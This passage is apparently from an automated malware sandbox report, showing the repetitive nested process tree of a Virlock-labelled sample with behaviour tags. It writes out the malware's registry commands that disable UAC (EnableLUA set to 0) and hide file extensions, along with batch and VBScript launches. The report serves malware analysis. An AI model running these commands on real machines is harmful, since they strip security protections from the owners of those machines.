                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YGMEkogI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                            32⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                            PID:1644
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                              33⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                              PID:1760
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                        PID:4244
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                        30⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4680
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                          30⤵
                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                          PID:5096
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eiQcMAkM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          30⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4316
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                              31⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                              PID:3464
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                        28⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                        PID:5688
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                        28⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6020
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                          28⤵
                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                          PID:4356
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dwUggcYc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          28⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                          PID:2200
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            29⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:5072
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      PID:5564
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                      PID:1664
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                      26⤵
                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                      PID:4604
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                        27⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1924
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jqEAwgco.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2792
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:1948
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      24⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      24⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                      PID:3484
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                      24⤵
                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                      PID:3280
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NIEgAUoU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                      24⤵
                                                                                                                                                                                                                                                                                                                                                        PID:4660
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                          25⤵
                                                                                                                                                                                                                                                                                                                                                            PID:4564
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            25⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:5116
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                      PID:1124
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                        PID:5500
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                        PID:5828
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                          23⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5488
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KcYEoYQw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          22⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5244
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                              23⤵
                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                              PID:3956
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                        PID:2428
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2336
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                          PID:1968
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oWYEEMIw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                          PID:2544
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                            21⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                            PID:4088
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                      PID:1908
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                      18⤵
                                                                                                                                                                                                                                                                                                                                                        PID:3908
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                        PID:5776
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SkoEQQII.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                        PID:3352
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                          19⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                          PID:5872
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                    PID:264
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                                                                                                                                                                      PID:3392
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                      PID:4356
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\niUggEQM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                      PID:4528
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                        17⤵
                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                        PID:5612
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                  PID:5592
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                                                                                                                    PID:2868
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                    PID:2792
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XWkQEkUw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                    PID:5880
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                      PID:4740
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                PID:3416
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                PID:4564
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                PID:4660
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\teEggAYw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                                PID:4716
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                  PID:3300
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                            PID:5504
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                            PID:3648
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                            PID:5488
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fcckYgIc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                            PID:3940
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                              PID:3152
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                        PID:2248
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                          PID:2680
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                          PID:1612
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yqQEkMcs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                          PID:4560
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                            PID:2404
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                      PID:5860
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                      PID:4892
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                      PID:3352
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AyEkckEA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
